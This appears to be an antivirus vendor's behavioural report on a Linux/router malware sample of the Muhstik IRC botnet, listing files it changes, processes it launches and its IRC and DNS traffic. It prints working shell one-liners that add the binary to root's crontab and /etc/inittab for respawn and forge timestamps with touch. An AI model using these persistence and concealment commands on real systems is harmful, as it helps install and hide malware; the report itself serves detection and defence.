Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/inittab
- /var/spool/cron/crontabs/root
- /etc/rc.local
Malicious functions:
Modifies router settings:
- /bin/nvram
Launches processes:
- sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
- sh -c crontab -l | grep <SAMPLE_FULL_PATH> || (crontab -l ; echo \"*/5 * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- cat /etc/inittab
- grep -v <SAMPLE_FULL_PATH>
- crontab -l
- grep <SAMPLE_FULL_PATH>
- sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
- sh -c cat /etc/inittab2 > /etc/inittab
- crontab -
- cat /etc/inittab2
- sh -c rm -rf /etc/inittab2
- rm -rf /etc/inittab2
- sh -c touch -acmr /bin/ls /etc/inittab
- touch -acmr /bin/ls /etc/inittab
- sh -c cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
- sh -c /bin/uname -n
- sh -c nvram get router_name
- cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
- /bin/uname -n
- sh -c cat /etc/inittab | grep -v \"/dev/shm/<SAMPLE>\" > /etc/inittab2
- sh -c crontab -l | grep /dev/shm/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /dev/shm/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- grep -v /dev/shm/<SAMPLE>
- grep /dev/shm/<SAMPLE>
- sh -c echo \"0:2345:respawn:/dev/shm/<SAMPLE>\" >> /etc/inittab2
- sh -c cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
- cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
- sh -c cat /etc/inittab | grep -v \"/var/tmp/<SAMPLE>\" > /etc/inittab2
- sh -c crontab -l | grep /var/tmp/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/tmp/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- grep -v /var/tmp/<SAMPLE>
- grep /var/tmp/<SAMPLE>
- sh -c echo \"0:2345:respawn:/var/tmp/<SAMPLE>\" >> /etc/inittab2
- sh -c cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
- cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
- sh -c cat /etc/inittab | grep -v \"/var/lock/<SAMPLE>\" > /etc/inittab2
- sh -c crontab -l | grep /var/lock/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/lock/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- grep -v /var/lock/<SAMPLE>
- grep /var/lock/<SAMPLE>
- sh -c echo \"0:2345:respawn:/var/lock/<SAMPLE>\" >> /etc/inittab2
- sh -c cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
- cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
- sh -c cat /etc/inittab | grep -v \"/var/run/<SAMPLE>\" > /etc/inittab2
- sh -c crontab -l | grep /var/run/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/run/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- grep -v /var/run/<SAMPLE>
- grep /var/run/<SAMPLE>
- sh -c echo \"0:2345:respawn:/var/run/<SAMPLE>\" >> /etc/inittab2
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.CBfORC
- /var/spool/cron/crontabs/tmp.LNr2Sb
- /var/spool/cron/crontabs/tmp.RWKy45
- /var/spool/cron/crontabs/tmp.VMyvum
- /var/spool/cron/crontabs/tmp.MFDm1b
Creates or modifies files:
- /tmp/.ubntmuhs
- /etc/inittab2
- /var/spool/cron/crontabs/tmp.CBfORC
- /dev/shm/<SAMPLE>
- /var/spool/cron/crontabs/tmp.LNr2Sb
- /var/tmp/<SAMPLE>
- /var/spool/cron/crontabs/tmp.RWKy45
- /var/lock/<SAMPLE>
- /run/lock/<SAMPLE>
- /var/spool/cron/crontabs/tmp.VMyvum
- /var/run/<SAMPLE>
- /run/<SAMPLE>
- /var/spool/cron/crontabs/tmp.MFDm1b
Deletes files:
- /etc/inittab2
Locks files:
- /tmp/.ubntmuhs
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:60000
Establishes connection:
- <LOCAL_DNS_SERVER>
Connects to the following servers over the IRC protocol:
- Server: 18#.#1.149.22; Command: NICK A5|0|3553819|unknown\nUSER muhstik localhost localhost :muhstik-11052018\n
- Server: 18#.#1.149.22; Command: PONG :B3D5D5F9\n
- Server: 18#.#1.149.22; Command: MODE A5|0|3553819|unknown -xi\n
- Server: 18#.#1.149.22; Command: JOIN #a925d765 :8974\n
- Server: 18#.#1.149.22; Command: WHO A5|0|3553819|unknown\n
DNS ASK:
- ir#.####schland-zahlung.eu
